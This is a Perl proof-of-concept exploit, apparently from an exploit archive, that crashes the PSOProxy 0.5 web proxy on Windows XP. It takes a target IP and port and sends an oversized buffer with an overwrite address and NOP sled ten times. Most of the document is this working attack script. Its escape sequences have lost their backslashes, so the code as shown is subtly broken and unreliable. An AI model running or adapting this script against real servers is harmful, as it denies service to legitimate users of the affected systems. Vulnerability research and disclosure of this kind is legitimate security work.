PSOProxy 0.5 Denial Of Service

#!/usr/bin/perl

use IO::Socket::INET;

# Exploit Title: PSOProxy 0.5 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 10 january 2024
# Vendor Homepage:  https://sourceforge.net/projects/psoproxy/files/psoproxy/0.5/
# Download to demo: https://drive.google.com/file/d/1GC2GWGOx9Z1vWT_mxnGXHuTptuHa7lIp/view?usp=sharing
# Download to demo 2: https://drive.google.com/file/d/1DHQ1sZL3mqlqFWn50eq7FLVtzX3E6qgC/view?usp=sharing
# Notification vendor: No reported
# Tested Version: PSOProxy 0.5
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo: https://www.youtube.com/watch?v=0uuUqfpRbHM

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data to web server.
#The following request sends a large amount of data to the web server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){
      $cmd="cls";
    } else {
      $cmd="clear";
    }

    system("$cmd");
    
    intro();
    main();

print "t    ==> Connecting to webserver... nn";
sleep(1);

my $i=0;
    print "t    ==> Exploiting... nn";
while ($i <= 9) {
    my $sock = IO::Socket::INET->new(
        PeerAddr => $ip,
        PeerPort => $port,
        Proto    => 'tcp',
    ) or die "Cannot connect to $ip:$port: $!n";

    my $buffer = "A" x 3000;
    my $shellcode = "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" .
                    "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90";
    
    $buffer .= "x0Fx98xF8x77" . $shellcode;

    print $sock $buffer . "rn";
    close($sock);
    
    $i++;
}
  
print "t    ==> Done! Exploited!";
   sub intro {
      print q {

                              ,--,
                       _ ___/ /|
                   ,;'( )__, )  ~
                  //  //   '--; 
                  '        | ^
                       ^    ^

      [+] PSOProxy 0.5 - Denial of Service (DoS)

      [*] Coded by Fernando Mengali

      [@] e-mail: [email protected]

      }
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "ntUsage: $0 <ip> <port>                 n";
        exit(-1);

      }
  }

#3. Solution/ How to fix:

# This version product is deprecated